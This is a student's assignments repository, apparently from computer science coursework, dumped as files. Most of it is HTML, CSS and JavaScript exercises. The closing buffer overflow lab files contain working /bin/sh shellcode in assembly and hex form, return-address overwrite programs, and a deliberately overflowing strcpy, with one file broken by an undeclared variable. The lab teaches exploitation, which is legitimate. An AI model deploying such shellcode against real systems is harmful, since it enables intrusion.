12 | 13 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q11.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q11 5 | 6 | 7 | W3Schools.com
8 | HTML Tutorial
9 | NIT Calicut
10 | 11 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q12.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q12 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q13.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q13 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 |
SaturdaySunday
Tickets Sold:120135
Total sales:$600$675
24 | 25 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q14.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q14 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 |
NameTelephone
Bill Gates555 77 854555 77 855
18 |   19 | 20 | 21 | 22 | 23 | 24 | 25 | 27 | 28 | 29 | 30 | 31 |
First NameBill Gates
Telephone 26 | 555 77 854
555 77 855
32 | 33 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q15.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q15 5 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 |
Serial NumberRoll NumberProject Name
1M170565CAMining Google Play Store
M170564CA
2B16098CSDiabetes Classifier
B16095CS
37 | 38 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q2.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q2 5 | 6 | 7 | On the 4th of September you will learn about E=MC2 8 |

9 | The amount of CO2 in the atmosphere grew by 2ppm in 20091 10 | 11 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q3.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q3 5 | 6 | 7 | ( log2x )2 8 |
9 | ex2 log2 (x2)2 10 |
11 | e( logab * logba )2 12 | 13 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q4.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q4 5 | 6 | 7 |

This is some text!

8 |

This is some text!

9 |

This is some text!

10 |

This is some text!

11 | 12 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q5.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q5 5 | 6 | 7 |
8 | Did you ever stop to think, and forget to start again? 9 |
10 | 11 | As A.A. Milne said,Some people talk to animals, Not many listen though. That's the problem. 12 | 13 | 14 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q6.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q6 5 | 6 | 7 | Laptop computer:

8 | Was $995

9 | Now only $375 10 | 11 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q7.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q7 5 | 6 | 7 |
    8 |
  1. Chop potatoes into quarters
  2. 9 |
  3. Simmer in salted water for 15-20 minutes until tender
  4. 10 |
  5. Heat milk, butter and nutmeg
  6. 11 |
  7. Drain potatoes and mash
  8. 12 |
  9. Mix in the milk mixture
  10. 13 |
14 | 15 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q8.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q8 5 | 6 | 7 |
    8 |
  • 1kg King Edward potatoes
  • 9 |
  • 100ml milk
  • 10 |
  • 50g salted butter
  • 11 |
  • Freshly grated nutmeg
  • 12 |
  • Salt and pepper to taste
  • 13 |
14 | 15 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q9.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q9 5 | 6 | 7 |
    8 |
  • Mousses
  • 9 |
  • Pastries
  • 10 |
      11 |
    • Croissant
    • 12 |
    • Mille-feuille
    • 13 |
    • Palmier
    • 14 |
    • Profiterole
    • 15 |
    16 |
  • Tarts
  • 17 |
18 | 19 | -------------------------------------------------------------------------------- /S5/WebP/CSS_Exercise/css-exercise.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/WebP/CSS_Exercise/css-exercise.docx -------------------------------------------------------------------------------- /S5/WebP/CSS_Exercise/myPage.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | myPage 5 | 6 | 7 | 8 |

Name

9 | 10 |

11 | House Name (H)
12 | Post Office Name P O
13 | District PIN
14 | Mob: 9988776655
15 | Mail: firstname_b18xxxxcs@nitc.ac.in 16 |

17 |

18 | 3rd year B.Tech student in CSE at NIT Calicut
19 | Enthusiastic programmer eager to learn new things in Tech
20 | Skills : C, C++, Python, Problem Solving 21 |

22 |

Interests

23 |
    24 |
  • Web Programming
  • 25 |
  • Cyber Security
  • 26 |
  • Operating Systems
  • 27 |
28 | 29 | -------------------------------------------------------------------------------- /S5/WebP/CSS_Exercise/myStyle.css: -------------------------------------------------------------------------------- 1 | body { 2 | font-family: Verdana; 3 | font-size: medium; 4 | background-color: yellow; 5 | margin: 0px; 6 | } 7 | h2 { 8 | font-family: Georgia; 9 | color: green; 10 | } 11 | p { 12 | border: 2px solid gray; 13 | } 14 | p.personal { 15 | font-style: italic; 16 | } 17 | ul { 18 | background-color: blue; 19 | } -------------------------------------------------------------------------------- /S5/WebP/HTML_FORMS_EXERCISE/Code/img/logo_nitc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/WebP/HTML_FORMS_EXERCISE/Code/img/logo_nitc.png -------------------------------------------------------------------------------- /S5/WebP/HTML_FORMS_EXERCISE/Code/left.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Left 5 | 6 | 7 | 23 | 24 |
25 | News 26 |
27 | 37 |
38 | 39 | -------------------------------------------------------------------------------- /S5/WebP/HTML_FORMS_EXERCISE/Code/main.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSE NIT Calicut 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /S5/WebP/HTML_FORMS_EXERCISE/Code/right.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | form 5 | 6 | 7 |
8 |

Feedback

9 |

10 | You are welcome to provide feedback on this website. Please consider 11 | reading About the Site before filling this form. 12 |

13 | 14 |
15 |

16 | 17 |
18 |
19 | Your email id is required. It will not be shown to anybody else.

20 | 21 |
22 |
27 | Please choose a category for your feedback.

28 | 29 |
30 |
31 | Write the feedback message here.

32 | 33 | 34 |
35 | 36 | -------------------------------------------------------------------------------- /S5/WebP/HTML_FORMS_EXERCISE/Code/top.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Top 5 | 12 | 13 | 14 |
15 | 16 |
17 | 18 |
19 | 20 |
21 | 22 |
23 |

Department of Computer Science and Engineering

24 |

25 | National Institute of Technology Calicut 26 |

27 |
28 |
29 |
30 | 49 |
50 | 51 | -------------------------------------------------------------------------------- /S5/WebP/HTML_FORMS_EXERCISE/EXERCISE MONSOON 2021.docx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/WebP/HTML_FORMS_EXERCISE/EXERCISE MONSOON 2021.docx -------------------------------------------------------------------------------- /S5/WebP/JavaScript_ClassroomASSG/Code/function.js: -------------------------------------------------------------------------------- 1 | 2 | document.addEventListener("DOMContentLoaded", bindEvents); 3 | 4 | function bindEvents(){ 5 | document.getElementById('calc_btn').addEventListener("click",callCalc); 6 | } 7 | 8 | function validate_operands() 9 | { 10 | var op1 = document.form1.op1.value; 11 | var op2 = document.form1.op2.value; 12 | var optn = document.form1.op.value; 13 | if(op1=="" || op2=="") 14 | { 15 | alert('Enter values in operand fields!'); 16 | return false; 17 | } 18 | if(isNaN(op1) || isNaN(op2)) 19 | { 20 | alert('Enter NUMERIC values in operand fields!'); 21 | return false; 22 | } 23 | if(optn==""){ 24 | alert('Please select operation!'); 25 | return false; 26 | } 27 | return true; 28 | } 29 | 30 | function callCalc() 31 | { 32 | if(!validate_operands()) 33 | return; 34 | var result = "r "; 35 | var op1 = Number(document.form1.op1.value); 36 | var op2 = Number(document.form1.op2.value); 37 | var operation = document.form1.op.value; 38 | switch(operation){ 39 | case '+': result = op1 + op2; 40 | break; 41 | case '-': result = op1 - op2; 42 | break; 43 | case 'x': result = op1 * op2; 44 | break; 45 | default: alert('Operation not Identified!'); 46 | break; 47 | } 48 | 49 | //Floating point results are rounded to 2 decimal places 50 | try{ 51 | if(result.toString().indexOf('.')>-1) 52 | result = result.toFixed(2); 53 | } 54 | catch(e){ 55 | alert(e); 56 | } 57 | var result_str = op1 +" "+ operation +" "+ op2 + " = " + result; 58 | 59 | alert(result_str); 60 | document.getElementById("result").innerHTML = "Result : " +result_str; 61 | } -------------------------------------------------------------------------------- /S5/WebP/JavaScript_ClassroomASSG/Code/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Operaions 5 | 6 | 7 | 8 |
9 | 10 |
11 |
12 | 13 |
14 |
15 | Add
16 | Substract
17 | Multiply
18 | 19 |
20 | 21 |

Note: float results are rounded to 2 decimal places

22 | 23 |

24 | 25 |

26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /S5/WebP/JavaScript_ClassroomASSG/WebPQuestions.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S5/WebP/JavaScript_ClassroomASSG/WebPQuestions.pdf -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/Paolina.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/Paolina.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/arctichare.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/arctichare.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/barbara.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/barbara.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/boat.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/boat.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/cameraman.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/cameraman.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/cat.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/cat.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/einstein.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/einstein.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/frog.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/frog.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/fruits.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/fruits.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/goldhill.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/goldhill.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/head.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/head.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/lenna.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/lenna.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/mandrill.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/mandrill.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/monalisa.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/monalisa.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/images/peppers.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/images/peppers.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image1.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image10.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image10.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image11.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image11.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image12.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image12.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image13.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image13.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image14.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image14.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image15.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image15.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image2.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image3.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image4.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image5.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image6.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image7.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image7.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image8.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image8.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/Assignment1/output/image9.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S6/IP-Lab/Assignment1/output/image9.jpg -------------------------------------------------------------------------------- /S6/IP-Lab/README.md: -------------------------------------------------------------------------------- 1 | ## S5 IP Lab 2 | -------------------------------------------------------------------------------- /S7/AI/Assignment_1/.gitignore: -------------------------------------------------------------------------------- 1 | *.zip -------------------------------------------------------------------------------- /S7/AI/Assignment_1/AI-Assignment1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/AI/Assignment_1/AI-Assignment1.pdf -------------------------------------------------------------------------------- /S7/AI/Assignment_1/Q1/AI_Q1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/AI/Assignment_1/Q1/AI_Q1.pdf -------------------------------------------------------------------------------- /S7/AI/Assignment_1/Q1/Output_Q1.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/AI/Assignment_1/Q1/Output_Q1.txt -------------------------------------------------------------------------------- /S7/AI/Assignment_1/Q2/AI_Q2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/AI/Assignment_1/Q2/AI_Q2.pdf -------------------------------------------------------------------------------- /S7/AI/Assignment_2/.gitignore: -------------------------------------------------------------------------------- 1 | mnist_data/* -------------------------------------------------------------------------------- /S7/AI/Assignment_2/pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "assignment_2" 3 | version = "0.1.0" 4 | description = "" 5 | authors = ["DragonPyli "] 6 | 7 | [tool.poetry.dependencies] 8 | python = "^3.9" 9 | torchvision = "^0.11.1" 10 | torchsummary = "^1.5.1" 11 | torch = "^1.10.0" 12 | 13 | [tool.poetry.dev-dependencies] 14 | 15 | [build-system] 16 | requires = ["poetry-core>=1.0.0"] 17 | build-backend = "poetry.core.masonry.api" 18 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/BufferOverflowLab_CSL_2021_22.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/BufferOverflowLab_CSL_2021_22.pdf -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/New file: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/New file -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/Submission/q1.c: -------------------------------------------------------------------------------- 1 | void main() { 2 | __asm__("jmp line\n\taddress:popl %esi\n\tmovl %esi,0x8(%esi)\n\txorl %eax,%eax\n\tmovb %al,0x7(%esi)\n\tmovl %eax,0xc(%esi)\n\tmovb $0xb,%al\n\tmovl %esi,%ebx\n\tleal 0x8(%esi),%ecx\n\tleal 0xc(%esi),%edx\n\tint $0x80\n\txorl %ebx, %ebx\n\tmovl %ebx, %eax\n\tinc %eax\n\tint $0x80\n\tline:call address\n\t.string \"/bin/sh\"\n\t"); 3 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/Submission/q1_direct.c: -------------------------------------------------------------------------------- 1 | void main() { 2 | __asm__("jmp line\n\taddress:popl %esi\n\tmovl %esi,0x8(%esi)\n\tmovb $0x0,0x7(%esi)\n\tmovl $0x0,0xc(%esi)\n\t movl $0xb,%eax\n\tmovl %esi,%ebx\n\tleal 0x8(%esi),%ecx\n\tleal 0xc(%esi),%edx\n\tint $0x80\n\tmovl $0x1, %eax\n\tmovl $0x0, %ebx\n\tint $0x80\n\tline:call address\n\t.string \"/bin/sh\"\n\t"); 3 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/Submission/q2.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/Submission/q2_direct.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/Submission/q3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char shellcode[] = 5 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 6 | 7 | 8 | void temp(){ 9 | } 10 | 11 | int foo(char *arg) 12 | { 13 | char buff[256]; 14 | strcpy(bufCode, arg); 15 | temp() ; 16 | printf("%s\n",shellcode) ; 17 | printf("%s\n",buff) ; 18 | temp() ; 19 | return 0; 20 | } 21 | 22 | int main(int argc, char *argv[]) 23 | { 24 | foo(shellcode); 25 | return 0; 26 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/Submission/q3_direct.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char shellcode[] = 5 | "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 6 | 7 | 8 | void temp(){ 9 | } 10 | 11 | int foo(char *arg) 12 | { 13 | char buf[256]; 14 | strcpy(buf, arg); 15 | for(int i=0;i<256;i+=1) 16 | buf[i] = arg[i] ; 17 | temp() ; 18 | printf("%s\n",shellcode) ; 19 | printf("%s\n",buf) ; 20 | temp() ; 21 | return 0; 22 | } 23 | 24 | int main(int argc, char *argv[]) 25 | { 26 | foo(shellcode); 27 | return 0; 28 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/a.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/a.out -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/code.asm: -------------------------------------------------------------------------------- 1 | jmp line 2 | 3 | address: 4 | pop esi 5 | mov esi, 0x08(esi) 6 | xor eax, eax 7 | mov eax, 0xc(esi) 8 | mov al, 0x7(esi) 9 | mov $0xb, al 10 | mov esi, ebx 11 | lea 0x8(esi), ecx 12 | lea 0xc(esi), edx 13 | int $0x80 14 | 15 | xor ebx, ebx 16 | mov ebx, eax 17 | inc eax 18 | int $0x80 19 | 20 | line: 21 | call address 22 | .string "/bin/sh" -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/data: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/data -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/data.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 2 | char nscode[] = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" ; 3 | 4 | int main(int argc, char *argv[]) 5 | { 6 | // void (*shell)() = (void *) shellcode; 7 | void (*shell)() = (void *) nscode ; 8 | shell(); 9 | return 0; 10 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CodeWizrd001/Assignments/8c64416962fd3e1dfc01afc9244cf3da0d436b33/S7/CS Lab/Assignment_2/example1 -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example1.c: -------------------------------------------------------------------------------- 1 | void function(int a, int b, int c) { 2 | char buffer1[5]; 3 | char buffer2[10]; 4 | c = a + b ; 5 | buffer2[0] = buffer2[0] ; 6 | } 7 | 8 | void main() { 9 | function(1,2,3); 10 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/example1.s: -------------------------------------------------------------------------------- 1 | .file "example1.c" 2 | .text 3 | .globl function 4 | .type function, @function 5 | function: 6 | .LFB0: 7 | .cfi_startproc 8 | pushl %ebp 9 | .cfi_def_cfa_offset 8 10 | .cfi_offset 5, -8 11 | movl %esp, %ebp 12 | .cfi_def_cfa_register 5 13 | subl $24, %esp 14 | movl %gs:20, %eax 15 | movl %eax, -12(%ebp) 16 | xorl %eax, %eax 17 | movl 8(%ebp), %edx 18 | movl 12(%ebp), %eax 19 | addl %edx, %eax 20 | movl %eax, 16(%ebp) 21 | movzbl -22(%ebp), %eax 22 | movb %al, -22(%ebp) 23 | nop 24 | movl -12(%ebp), %eax 25 | xorl %gs:20, %eax 26 | je .L2 27 | call __stack_chk_fail 28 | .L2: 29 | leave 30 | .cfi_restore 5 31 | .cfi_def_cfa 4, 4 32 | ret 33 | .cfi_endproc 34 | .LFE0: 35 | .size function, .-function 36 | .globl main 37 | .type main, @function 38 | main: 39 | .LFB1: 40 | .cfi_startproc 41 | leal 4(%esp), %ecx 42 | .cfi_def_cfa 1, 0 43 | andl $-16, %esp 44 | pushl -4(%ecx) 45 | pushl %ebp 46 | .cfi_escape 0x10,0x5,0x2,0x75,0 47 | movl %esp, %ebp 48 | pushl %ecx 49 | .cfi_escape 0xf,0x3,0x75,0x7c,0x6 50 | subl $4, %esp 51 | subl $4, %esp 52 | pushl $3 53 | pushl $2 54 | pushl $1 55 | call function 56 | addl $16, %esp 57 | nop 58 | movl -4(%ebp), %ecx 59 | .cfi_def_cfa 1, 0 60 | leave 61 | .cfi_restore 5 62 | leal -4(%ecx), %esp 63 | .cfi_def_cfa 4, 4 64 | ret 65 | .cfi_endproc 66 | .LFE1: 67 | .size main, .-main 68 | .ident "GCC: (Ubuntu 